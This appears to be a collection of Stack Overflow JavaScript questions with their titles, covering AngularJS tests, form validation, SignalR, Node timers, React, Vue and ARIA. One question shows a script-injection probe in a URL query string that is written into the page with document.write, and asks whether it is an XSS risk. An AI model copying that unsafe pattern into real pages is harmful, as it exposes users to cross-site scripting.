< /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < /ol > $ ( 'input ' ) .keydown ( function ( evt ) { if ( evt.key == 'Tab ' ) { window.scrollTo ( 0 , window.scrollY + ( evt.shiftKey ? -1 : 1 ) ) ; } } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < ol > < li > < input type= '' text '' autofocus > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < /ol >",Prevent page jumping in Chrome when tabbing to offscreen elements "JS : How do you mock out a simple Factory in AngularJs that returns static data in a Karma unit test ? I have this simple factory , that for the sake of example return static data : I 'd like to know how to write a Karma test for this ? So far , I have this code , but id does n't work : This is the error message that I 've been getting : angular.module ( 'conciergeApp.services ' ) .factory ( 'CurrentUser ' , function ( ) { return { id : 1 , hotel_id : 1 , } } ) ; describe ( 'ReplyCtrl ' , function ( ) { beforeEach ( module ( 'conciergeApp ' ) ) ; beforeEach ( module ( function ( $ provide ) { $ provide.service ( 'CurrentUser ' , function ( ) { return 1 ; } ) ; } ) ) ; //Getting reference of the mocked service var mockUtilSvc ; inject ( function ( CurrentUser ) { mockUtilSvc = CurrentUser ; } ) ; beforeEach ( inject ( function ( $ rootScope , $ controller ) { scope = $ rootScope. $ new ( ) ; ctrl = $ controller ( 'ReplyCtrl ' , { $ scope : scope } ) ; } ) ) ; it ( 'should return value from mock dependency ' , inject ( function ( mockUtilSvc ) { expect ( mockUtilSvc ( ) ) .toEqual ( 1 ) ; } ) ) ; } ) ; Firefox 41.0.0 ( Mac OS X 10.10.0 ) ReplyCtrl should return value from mock dependency FAILED Error : [ $ injector : unpr ] Unknown provider : mockUtilSvcProvider < - mockUtilSvc",Angularjs test simple factory that return static data "JS : I have 3 rows of checkboxes which a user must fill out . The validation is that he must select at least one checkbox in each row . So I 've created the mandatory rule since as I understand it the required rule does n't apply to checkboxes.This all works great . The problem is that since each row is a group the validation ends up giving 3 different messages although I only really want one.I have created an example on jsFiddle . So if you simply click submit you 'll see 3 different messages , but I only want ONE message . Is there a way to combine them ? I 've seen it done with the regular jQuery validation , but not with the unobtrusive validation.I 'm posting the relevant code here as well , but it 's probably easier to see if you follow the jsFiddle link . < script type= '' text/javascript '' > ( function ( $ ) { $ .validator.unobtrusive.adapters.addBool ( `` mandatory '' , `` required '' ) ; } ( jQuery ) ) ; < /script > < form id= '' the_form '' action= '' # '' method= '' post '' > < p > < input type= '' checkbox '' name= '' g1 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > A1 < /span > < input type= '' checkbox '' name= '' g1 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > A2 < /span > < input type= '' checkbox '' name= '' g1 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > A3 < /span > < /p > < p > < input type= '' checkbox '' name= '' g2 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > B1 < /span > < input type= '' checkbox '' name= '' g2 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > B2 < /span > < input type= '' checkbox '' name= '' g2 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > B3 < /span > < /p > < p > < input type= '' checkbox '' name= '' g3 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > C1 < /span > < input type= '' checkbox '' name= '' g3 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > C2 < /span > < input type= '' checkbox '' name= '' g3 '' data-val= '' true '' data-val-mandatory= '' An answer is required for every row '' value= '' 1 '' / > < span > C3 < /span > < /p > < p class= '' field-validation-error '' data-valmsg-for= '' g1 '' data-valmsg-replace= '' true '' > < /p > < p class= '' field-validation-error '' data-valmsg-for= '' g2 '' data-valmsg-replace= '' true '' > < /p > < p class= '' field-validation-error '' data-valmsg-for= '' g3 '' data-valmsg-replace= '' true '' > < /p > < input type= '' submit '' value= '' Ok '' / > < /form >",Grouping errors in jQuery Unobtrusive Validation "JS : This is not a duplicate of questions such as this , but rather the opposite : I have a form that I 'm submitting via jQueryThis is done so that I can open a different page with HTML.Since I need to submit quite a lot of complex information , what I actually do is serialize them all into a big JSON string , then create a form with only one field ( `` payload '' ) and submit that.The receiving end has a filter that goes like this : if the method is POST , and there is only one submitted variable , and the name of that one variable is `` payload '' , then JSON-decode its value and use it to create fake GET data.So when the GET data grows too much I can switch methods without modifying the actual script , which notices no changes at all.It always worked until today.What should happenThe server should receive a single POST submission , and open the appropriate response in a popup window.What actually happens insteadThe server does receive the correct POST submission ... ... apparently ignores it ... ... and immediately after that , the browser issues a GET with no parameters , and it is the result of that parameterless GET that gets ( pardon the pun ) displayed in the popup window.Quite unsurprisingly , this is always a `` You did not submit any parameters '' error . Duh.What I already didverified that this method works , and has always worked for the last couple of years with different forms and different service endpointstried replacing the form with a hardcoded < FORM > in HTML , without any jQuery whatsoever . Same results . So , this is not a jQuery problem.tried with different browsers ( it would not have helped if it only worked on some browsers : I need to support most modern browsers . However , I checked . Luckily , this failure reproduces in all of them , even on iPhones ) .tried sending few data ( just `` { test : 0 } '' ) .tried halting the endpoint script as soon as it receives anything.checked Stack Overflow . I found what seems to be the same problem , in various flavours , but it 's of little comfort . This one has an interesting gotcha but no , it does not help.checked firewalls , proxies , adblockers and plugins ( I 'm now using plain vanilla Firefox ) .called the IT guys and asked pointed questions about recent SVN commits . There were none.What I did not yet doCheck the HTTPS conversation at low level ( I do n't have sufficient access ) .Compared the configuration , step by step , of a server where this works and the new server where it does not.Quite clearly , put my thinking hat on . There must be something obvious that I 'm missing and I 'm setting myself up for a sizeable facepalm . $ ( ' < form > ' , { action : 'service ' , method : 'post ' , target : '_blank ' } ) .append ( $ ( ' < input > ' , { type : 'hidden ' , name : 'payload ' , value : JSON.stringify ( payload ) } ) ) .appendTo ( 'body ' ) .submit ( ) .remove ( ) ;",HTML form seems to be submitting *both* POST and GET ? "JS : I 've got a fairly simple repro with an outcome I do n't understand . Make sure you have the Chutpah Test Adapter 4.0.3 installed . Using Visual Studio 2013 take the following steps : Create a new .NET 4.5.1 class library project ; Add the NuGet package qunit.TypeScript.DefinitelyTyped 0.1.7 ; Add a TypeScript file file1.ts to the project with this content : Right-click inside that file and pick `` Run JS Tests '' from the context menu.I can confirm that file1.js is generated as expected.The result is that no tests are run , the test explorer shows no tests , and the Test output shows : If I choose the `` Open In Browser '' Chutzpah context menu item I get a regular QUnit test page , nicely formatted , showing zero tests run.Obviously the expected result was that one test was successfully run.What am I missing here ? /// < reference path= '' ./Scripts/typings/qunit/qunit.d.ts '' / > QUnit.test ( `` QUnit is working '' , assert = > assert.ok ( true ) ) ; Error : Error : Called start ( ) outside of a test context while already startedat start in file : ///C : /Users/username/AppData/Local/Microsoft/VisualStudio/12.0/Extensions/abcxyz/TestFiles/QUnit/qunit.js ( line 287 ) at startQUnit in phantomjs : //webpage.evaluate ( ) ( line 12 ) at onPageLoaded in phantomjs : //webpage.evaluate ( ) ( line 16 ) in phantomjs : //webpage.evaluate ( ) ( line 18 ) While Running : c : \users\username\documents\visual studio 2013\Projects\ClassLibrary3\ClassLibrary3\file1.ts -- -- -- Test started : File : c : \users\username\documents\visual studio 2013\Projects\ClassLibrary3\ClassLibrary3\file1.ts -- -- -- Error : Error : Called start ( ) outside of a test context while already startedWhile Running : c : \users\username\documents\visual studio 2013\Projects\ClassLibrary3\ClassLibrary3\file1.ts0 passed , 0 failed , 0 total ( chutzpah ) .========== Total Tests : 0 passed , 0 failed , 0 total ==========",Running QUnit ( TypeScript ) tests with Chutzpah gives `` Called start ( ) outside of a test context while already started '' "JS : ( This is my first question on Stackoverflow , so I hope I am doing this right . ) I am trying to set up a project on CrowdCrafting.org by using the PyBOSSA framework.I followed their tutorial for project development.The first parts seemed very clear to me , creating the project and adding the tasks worked fine.Then I built my own html webpage to present the task to the users . Now the next step would be to load the tasks from the project , present them to the users , and save their answers.Unfortunately , I do n't understand how to do this.I will try to formulate some questions to make you understand my problem : How can I try this out ? The only way seems to be by updating the code and then running pbs update_project Where can I find a documentation for PyBossa.js ? I just saw ( in the tutorial and on other pages ) that there are some functions like pybossa.taskLoaded ( function ( task , deferred ) { } ) ; and pybossa.presentTask ( function ( task , deferred ) { } ) ; . But I do n't know how they work and what else there is . This page looks like it would contain a documentation , but it does n't ( broken links or empty index ) .How do I use the library ? I want to a ) load a task , b ) present it to the user , c ) show the user his progress and d ) send the answer . So I think I 'll have to call 4 different functions . But I do n't know how.I am looking forward to any information from you.Edit : 4 . Looking at the example project 's code , I do n't understand what this stuff about loading disqus is . I think disqus is a forum software , but I am not sure about that and I do n't know what this has to do with my project ( or theirs ) .Edit : As far as I understand , the essential parts of the JS-library are : pybossa.taskLoaded ( function ( task , deferred ) { if ( ! $ .isEmptyObject ( task ) ) { deferred.resolve ( task ) ; } else { deferred.resolve ( task ) ; } } ) ; pybossa.presentTask ( function ( task , deferred ) { if ( ! $ .isEmptyObject ( task ) ) { // choose a container within your html to load the data into ( depends on your layout and on the way you created the tasks ) $ ( `` # someID '' ) .html ( task.info.someName ) ; // by clickin `` next_button '' save answer and load next task $ ( `` # next_button '' ) .click ( function ( ) { // save answer into variable here var answer = $ ( `` # someOtherID '' ) .val ( ) ; if ( typeof answer ! = 'undefined ' ) { pybossa.saveTask ( task.id , answer ) .done ( function ( ) { deferred.resolve ( ) ; } ) ; } } ) ; } else { $ ( `` # someID '' ) .html ( `` There are no more tasks to complete . Thanks for participating in ... `` ) ; } } ) ; pybossa.run ( ' < short name > ' ) ;",PyBossa loading and presenting tasks "JS : I have a client which receives messages over SignalR . It is working great but it is more like a broadcast . I would like to be able to send messages to a specific client . On the client-side I have a userId and I set up my connection like this : On the server-side ( Azure Function written in JavaScript ) I have a message and a userId . The question for me is how does the server know which SignalR connection is going to this specific user ? Can I somehow tell SignalR who I am ? const userId = getUserId ( ) ; if ( userId ) { const beacon = new signalR.HubConnectionBuilder ( ) .withUrl ( ` $ { URL } /api ? userId= $ { userId } '' ` ) .build ( ) ; beacon.on ( 'newMessage ' , notification = > console.log ) ; beacon.start ( ) .catch ( console.error ) ; } } ;",How to use SignalR to send data to a specific user ? "JS : BackgroundSay I have the following webpage : I open it at a URL like this : In all browsers tried ( Chrome 57 , Firefox 52 and Safari 10 ) the result is : querystring= % 3Cscript % 3Ealert ( % 27fsecurity % 27 ) % 3C/script % 3EBecause angle brackets < > are not valid URL characters they seem to get automatically encoded by the browser on the way in , before they can get anywhere near the JS runtime.My assumptionThis leads me to believe that simply rendering the querystring directly on the client using document.write is always safe , and not a possible XSS vector . ( I realize that there are many other ways in which an app can be vulnerable of course , but let 's stick to the precise case described here . ) My questionAm I correct in this assumption ? Is the inbound encoding of unsafe characters in the URL standardized / mandated across all reasonable browsers ? ( No possible XSS ) Or , is this just a nicety / implementation detail of certain ( modern ? ) clients on which I should n't rely globally ? ( XSS described above is theoretically possible ) Not relevant to the question , but an interesting aside . If I decode the URI first then browser behavior is different : document.write ( decodeURI ( location.search.substr ( 1 ) ) ) ; . The XSS Auditor in both Chrome and Safari blocks the page , while Firefox shows the alert . < html > < script > document.write ( 'querystring= ' + location.search.substr ( 1 ) ) ; < /script > < html > http : //completely-secure-site/ ? < script > alert ( 'fsecurity ' ) < /script >",Can an HTML < script > fragment on the URL be used for XSS in a purely client side application ? "JS : Take this code , typical node js example of a Http server , to which I 've added a delay of 5 seconds to simulate some async work taking place somewhere else : What I would expect is that when I open 5 tabs , let 's say with a delay of half a second between opening each , the server should `` respond '' to each tab more or less with this timings : However , the behaviour I 'm seeing is the following : As if the subsequent requests were n't starting to run until the first one has finished . Am I missing something here ? I thought the whole point of Node JS was to be able to run async taks from a single thread ? const http = require ( 'http ' ) ; const hostname = '127.0.0.1 ' ; const port = 8080 ; http.createServer ( ( req , res ) = > { setTimeout ( ( ) = > { res.writeHead ( 200 , { 'Content-Type ' : 'text/plain ' } ) ; res.end ( 'Hello World\n ' ) ; } ,5000 ) ; } ) .listen ( port , hostname , ( ) = > { console.log ( ` Server running at http : // $ { hostname } : $ { port } / ` ) ; } ) ; t=0s - I open first tabt=0.5s - I open second tabt=1s - I open third tab ... t=5s - First tab stops loading , server has repliedt=5.5s - Second tab stops loading , server has repliedt=6s - Third tab stops loading , server has repliedt=6.5s - Fourth tab stops loading , server has repliedt=7s - Fifth tab stops loading , server has replied t=0s - I open first tabt=0.5s - I open second tabt=1s - I open third tab ... t=5s - First tab stops loading , server has repliedt=10s - Second tab stops loading , server has repliedt=15s - Third tab stops loading , server has repliedt=20s - Fourth tab stops loading , server has repliedt=25s - Fifth tab stops loading , server has replied",Why is setTimeout blocking my Node.js app ? "JS : Im new to JavaScript and I was wondering if declaring variables and then initializing right after declaration is a best practice . For example : Instead of : var x = 5 ; var y = 6 ; var x , y ; x = 5 ; y = 6 ;",Should I declare JavaScript variables and then initialize right after ? JS : I ’ m trying to push the scrollbar down a few px when the user scrolls to the top of the < div > . The problem is that after the scroll is pushed down a few px ( after I scroll to the top ) the browser still thinks that my mouse is at the top of the < div > when my mouse is still held down ( mousedown ) . This is bad as the event keeps firing.Features I am trying to achieve : Scroll to the top of the < div > Scroll gets pushed down a few pixels but the function does not fire again even if my mouse is still on mouse down.I think it may be the way I detect the function through onscroll . Please test my code and see the console.log ( ) if I am not making sense . var wrapper = document.getElementById ( 'scroll-box ' ) ; wrapper.onscroll = function ( evt ) { //detect when scroll has reached the top of the frame if ( wrapper.scrollTop === 0 ) { console.log ( 'top of frame ' ) ; wrapper.scrollTop += 500 ; } //detect when scroll has reached the bottom of the frame if ( wrapper.scrollHeight - wrapper.scrollTop === wrapper.clientHeight ) { console.log ( 'bottom of frame ' ) ; } } wrapper.scrollTop += 3000 ; .scroll-box { width : 400px ; height : 300px ; background-color : gray ; overflow-y : scroll ; } div ul li { padding : 50px ; } < div class= '' scroll-box '' id= '' scroll-box '' > < ul > < li > messages < /li > < li > messages < /li > < li > messages < /li > < li > messages < /li > < li > messages < /li > < li > messages < /li > < li > messages < /li > < li > messages < /li > < li > messages < /li > < /ul > < /div >,How to prevent scroll event from firing after adjusting ` scrollTop ` when mouse pulls up scrollbar ? "JS : I am looking for a pseudo code answer , or conceptual answer please.After programming for a number of years I have never created a class method that receives a function argument such that the caller of the method automatically gets access to 'invisible ' properties.If I try to access $ scope outside of my my_app.controller ( ... ) method , I get an error so I know it 's not global ; if I try to access it from my_app. $ scope or angular. $ scope I get undefined.So how does my function parameter get access to it : UPDATE ( as I am learning ) : my_app.controller ( 'my_controller ' , function ( $ scope , ... ) { ... } // javascript var my_class = function ( argument_A ) { this.some_prop = argument_A ; this.some_method = function ( argument_B ) { console.log ( argument_B ) ; // function ( boo ) } ; } ; var my_instance = new my_class ( `` my_string '' ) ; var my_function_argument = function ( boo ) { } ; my_instance.some_method ( my_function_argument ) ;",How does angular 's controller method make $ scope available to my function argument "JS : I have read the React Docs regarding the constructor method and what it can be used for as far as setting state and binding functions but is it really necessary in most cases ? What 's the difference between doing and simply putting all that outside the constructor likeIs one option preferred over the other and are there any performance issues I should know about ? This has been bugging me for a bit and I ca n't seem to find a concrete answer out there . export default class MyClass extends Component { constructor ( props ) { super ( props ) ; this.state = { foo : 'bar ' , } ; this.member = 'member ' ; this.someFunction = this.anotherFunction ( num ) ; } anotherFunction = ( num ) = > num * 2 ; render ( ) { // render jsx here } } export default class MyClass extends Component { state = { foo : 'bar ' , } ; member = 'member ' ; someFunction = this.anotherFunction ( num ) ; anotherFunction = ( num ) = > num * 2 ; render ( ) { // render jsx here } }",Constructor Method in React "JS : ProblemCreate the checkbox as Vue component , herewith : No logic inside checkbox component allowed : all event handlers and also checked property are fully depends on external logic , which could be the vuex store.We should not watch the checkbox `` checked '' state : checked it or not , it depends on , again , external logic , e. g. vuex state or getter.Try 1ConceptThe checkbox component has checked and onClick properties , which value are off course , could be dynamic.ComponentTemplate in Pug language : Store moduleUsageWaringsAppears if click the checkbox . Checkbox works as we need , but some of Vue concept has been violated.MusingsThis warning are being emitted frequent cause is new value to some vue-property has been assign inside component . Explicitly , I did not the manipulations like this.The problem is in : onClick= '' relatedStoreModule.toggleDoNotPreProcessMarkupEntryPointsFlag '' . It looks like it compiles to something like < component > . $ props.onClick= '' < vuex store manipulations ... > '' - if it so , it is implicit property mutation inside component.Try 2ConceptBased Vue documentation , Customizing Component section : The equivalent for TypeScript with vue-property-decorator will be : ComponentUsageIn TypeScript , to use the v-model , we need to declare getter and same-name setter : WarningsSame errors set : LimitationsFirst , we need to create new getter and setter in Vue Component class . It will be cool if possible to avoid id . Unfortunately , for vuex class ( by vuex-module-decorators ) , TypeScript setters are not available , we need use the @ Mutation-decorated method instead.Also , this solution will not work for elements rendered by v-for . It make this solution useless . Try 3ConceptEvent emitter and custom event listener usage . This solution also works properly , but Vue emits warnings.ComponentUsageWarningsUpdateThere are some riddles left yet , however problem has been solved . See my answer below . label.SvgCheckbox-LabelAsWrapper ( : class= '' rootElementCssClass '' @ click.prevent= '' onClick '' ) input.SvgCheckbox-InvisibleAuthenticCheckbox ( type= '' checkbox '' : checked= '' checked '' : disabled= '' disabled '' ) svg ( viewbox= ' 0 0 24 24 ' ) .SvgCheckbox-SvgCanvas path ( v-if= '' ! checked '' d='M19,3H5C3.89,3 3,3.89 3,5V19A2,2 0 0,0 5,21H19A2,2 0 0,0 21,19V5C21,3.89 20.1,3 19,3M19,5V19H5V5H19Z ' ) .SvgCheckbox-SvgPath.SvgCheckbox-SvgPath__Unchecked path ( v-else d='M10,17L5,12L6.41,10.58L10,14.17L17.59,6.58L19,8M19,3H5C3.89,3 3,3.89 3,5V19A2,2 0 0,0 5,21H19A2,2 0 0,0 21,19V5C21,3.89 20.1,3 19,3Z ' ) .SvgCheckbox-SvgPath.SvgCheckbox-SvgPath__Checked span ( v-if= '' text '' ) .SvgCheckbox-AppendedText { { text } } import { Vue , Component , Prop } from 'vue-property-decorator ' ; @ Componentexport default class SimpleCheckbox extends Vue { @ Prop ( { type : Boolean , required : true } ) private readonly checked ! : boolean ; @ Prop ( { type : Boolean , default : false } ) private readonly disabled ! : boolean ; @ Prop ( { type : String } ) private readonly text ? : string ; @ Prop ( { type : String } ) private readonly parentElementCssClass ? : string ; @ Prop ( { type : Function , default : ( ) = > { } } ) private readonly onClick ! : ( ) = > void ; } import { VuexModule , Module , Mutation } from `` vuex-module-decorators '' ; import store , { StoreModuleNames } from `` @ Store/Store '' ; @ Module ( { name : StoreModuleNames.example , store , dynamic : true , namespaced : true } ) export default class ExampleStoreModule extends VuexModule { private _doNotPreProcessMarkupEntryPointsFlag : boolean = true ; public get doNotPreProcessMarkupEntryPointsFlag ( ) : boolean { return this._doNotPreProcessMarkupEntryPointsFlag ; } @ Mutation public toggleDoNotPreProcessMarkupEntryPointsFlag ( ) : void { this._doNotPreProcessMarkupEntryPointsFlag = ! this._doNotPreProcessMarkupEntryPointsFlag ; } } SimpleCheckbox ( : checked= '' relatedStoreModule.doNotPreProcessMarkupEntryPointsFlag '' : onClick= '' relatedStoreModule.toggleDoNotPreProcessMarkupEntryPointsFlag '' parentElementCssClass= '' RegularCheckbox '' ) import { Component , Vue } from `` vue-property-decorator '' ; import { getModule } from `` vuex-module-decorators '' ; import ExampleStoreModule from `` @ Store/modules/ExampleStoreModule '' ; import template from `` @ Templates/ExampleTemplate.pug '' ; import SimpleCheckbox from `` @ Components/Checkboxes/MaterialDesign/SimpleCheckbox.vue '' ; @ Component ( { components : { SimpleCheckbox } } ) export default class MarkupPreProcessingSettings extends Vue { private readonly relatedStoreModule : ExampleStoreModule = getModule ( ExampleStoreModule ) ; } vue.common.dev.js:630 [ Vue warn ] : $ attrs is readonly.found in -- - > < SimpleCheckbox > at hikari-frontend/UiComponents/Checkboxes/MaterialDesign/SimpleCheckbox.vue < MarkupPreProcessingSettings > < Application > at ProjectInitializer/ElectronRendererProcess/RootComponent.vue < Root > vue.common.dev.js:630 [ Vue warn ] : $ listeners is readonly.found in -- - > < SimpleCheckbox > at hikari-frontend/UiComponents/Checkboxes/MaterialDesign/SimpleCheckbox.vue < MarkupPreProcessingSettings > < Application > at ProjectInitializer/ElectronRendererProcess/RootComponent.vue < Root > vue.common.dev.js:630 [ Vue warn ] : Avoid mutating a prop directly since the value will be overwritten whenever the parent component re-renders . Instead , use a data or computed property based on the prop 's value . Prop being mutated : `` checked '' found in -- - > < SimpleCheckbox > at hikari-frontend/UiComponents/Checkboxes/MaterialDesign/SimpleCheckbox.vue < MarkupPreProcessingSettings > < Application > at ProjectInitializer/ElectronRendererProcess/RootComponent.vue < Root > Vue.component ( 'base-checkbox ' , { model : { prop : 'checked ' , event : 'change ' } , props : { checked : Boolean } , template : ` < input type= '' checkbox '' v-bind : checked= '' checked '' v-on : change= '' $ emit ( 'change ' , $ event.target.checked ) '' > ` } ) import { Vue , Component , Model } from 'vue-property-decorator ' @ Componentexport default class YourComponent extends Vue { @ Model ( 'change ' , { type : Boolean } ) readonly checked ! : boolean } label.SvgCheckbox-LabelAsWrapper ( : class= '' rootElementCssClass '' ) input.SvgCheckbox-InvisibleAuthenticCheckbox ( type= '' checkbox '' : checked= '' checked '' : disabled= '' disabled '' @ change= '' $ emit ( 'change ' , $ event.target.checked ) '' ) svg ( viewbox= ' 0 0 24 24 ' ) .SvgCheckbox-SvgCanvas // ... import { Vue , Component , Prop , Model } from `` vue-property-decorator '' ; @ Componentexport default class SimpleCheckbox extends Vue { @ Model ( 'change ' , { type : Boolean } ) readonly checked ! : boolean ; @ Prop ( { type : Boolean , default : false } ) private readonly disabled ! : boolean ; @ Prop ( { type : String } ) private readonly text ? : string ; @ Prop ( { type : String } ) private readonly rootElementCssClass ? : string ; } SimpleCheckbox ( v-model= '' doNotPreProcessMarkupEntryPointsFlag '' rootElementCssClass= '' RegularCheckbox '' ) @ Component ( { template , components : { SimpleCheckbox , // ... } } ) export default class MarkupPreProcessingSettings extends Vue { private readonly relatedStoreModule : MarkupPreProcessingSettingsStoreModule = getModule ( MarkupPreProcessingSettingsStoreModule ) ; // ... private get doNotPreProcessMarkupEntryPointsFlag ( ) : boolean { return this.relatedStoreModule.doNotPreProcessMarkupEntryPointsFlag ; } private set doNotPreProcessMarkupEntryPointsFlag ( _newValue : boolean ) { this.relatedStoreModule.toggleDoNotPreProcessMarkupEntryPointsFlag ( ) ; } } label.SvgCheckbox-LabelAsWrapper ( : class= '' rootElementCssClass '' @ click.prevent= '' $ emit ( 'toggled ' ) '' ) // ... SimpleCheckbox ( : checked= '' relatedStoreModule.doNotPreProcessMarkupEntryPointsFlag '' @ toggled= '' relatedStoreModule.toggleDoNotPreProcessMarkupEntryPointsFlag '' rootElementCssClass= '' RegularCheckbox '' )",Bind vuex state and mutations to checkbox component properties in TypeScript-based Vue "JS : I 'm trying to execute JavaScript from plain text ( from being entered by a client ) . I also need a way to see if the executed code works or not ( if it does , then it does , otherwise , it needs to spit out a non-variable error message ) .Thanks if you can ! The stuff that will be executed would be short strings such as : echo ( `` a '' , '' b '' )",Running raw javascript ( from plain text ) "JS : In javascript it 's very popular for libraries/frameworks to let us define a callback function for post-processing of data.eg.I wonder how the load ( ) function looks like to be able to let the user provide a callback ? Are there good tutorials for this ? load ( `` 5 '' , function ( element ) { alert ( element.name ) ; } ) ;",How does the load ( ) function allow the user to provide a callback ? "JS : can somebody explain this code ? I do n't get what is inside the `` for '' structure . var tree = { } function addToTree ( tree , array ) { for ( var i = 0 , length = array.length ; i < length ; i++ ) { tree = tree [ array [ i ] ] = tree [ array [ i ] ] || { } } } addToTree ( tree , [ `` a '' , `` b '' , `` c '' ] ) addToTree ( tree , [ `` a '' , `` b '' , `` d '' ] ) /* { `` a '' : { `` b '' : { `` c '' : { } , `` d '' : { } } } } */",converting an array into a tree "JS : My user interaction process is as follows : The user is presented with a drop-down list containing a list of citiesAfter selecting a city , an AJAX request gets all buildings in the city , and inserts them into a div ( this AJAX request returns a list of checkboxes ) The user then can check/uncheck a checkbox to add the city to a table that is on the same page . ( This dynamically inserts/removes table rows ) Here is my select dropdown : Here is the ajax div that gets empties/populated : Here is the checkbox list that gets placed inside the ajax div : And finally the table that holds the cities that he user adds/removesI thought I was on the right path by using aria-controls= '' '' and aria-live= '' '' , but that does n't seem to be enough for the screen reader to detect the changes . In fact , I do n't know if I 'm missing something in my markup , or if I need to trigger any alert events or anything like that , to make this work . < label for= '' city-selector '' > Choose your favorite city ? < /label > < select name= '' select '' size= '' 1 '' id= '' city-selector '' aria-controls= '' city-info '' > < option value= '' 1 '' > Amsterdam < /option > < option value= '' 2 '' > Buenos Aires < /option > < option value= '' 3 '' > Delhi < /option > < option value= '' 4 '' > Hong Kong < /option > < option value= '' 5 '' > London < /option > < option value= '' 6 '' > Los Angeles < /option > < option value= '' 7 '' > Moscow < /option > < option value= '' 8 '' > Mumbai < /option > < option value= '' 9 '' > New York < /option > < option value= '' 10 '' > Sao Paulo < /option > < option value= '' 11 '' > Tokyo < /option > < /select > < div role= '' region '' id= '' city-info '' aria-live= '' polite '' > < ! -- AJAX CONTENT LOADED HERE -- > < /div > < fieldset id= '' building-selector '' aria-controls= '' building-table '' > < legend > Select your favorite building : < /legend > < input id= '' fox-plaza '' type= '' checkbox '' name= '' buildings '' value= '' fox-plaza '' > < label for= '' fox-plaza '' > Fox Plaza < /label > < br > < input id= '' chrysler-building '' type= '' checkbox '' name= '' buildings '' value= '' chrysler-building '' > < label for= '' chrysler-building '' > Chrysler Building < /label > < br > < input id= '' empire-state-building '' type= '' checkbox '' name= '' buildings '' value= '' empire-state-building '' > < label for= '' empire-state-building '' > Empire State Building < /label > < br > < /fieldset > < table id= '' building-table '' aria-live= '' polite '' > < caption > List of buildings you have selected < /caption > < tr > < th scope= '' col '' > Building name < /th > < th scope= '' col '' > Delete Building < /th > < /tr > < tr > < td > Empire State Building < /td > < td > < button > Delete < /button > /td > < /tr > < /table >",How to create screen reader accessible AJAX regions and DOM insert/remove updates ? "JS : I want to try 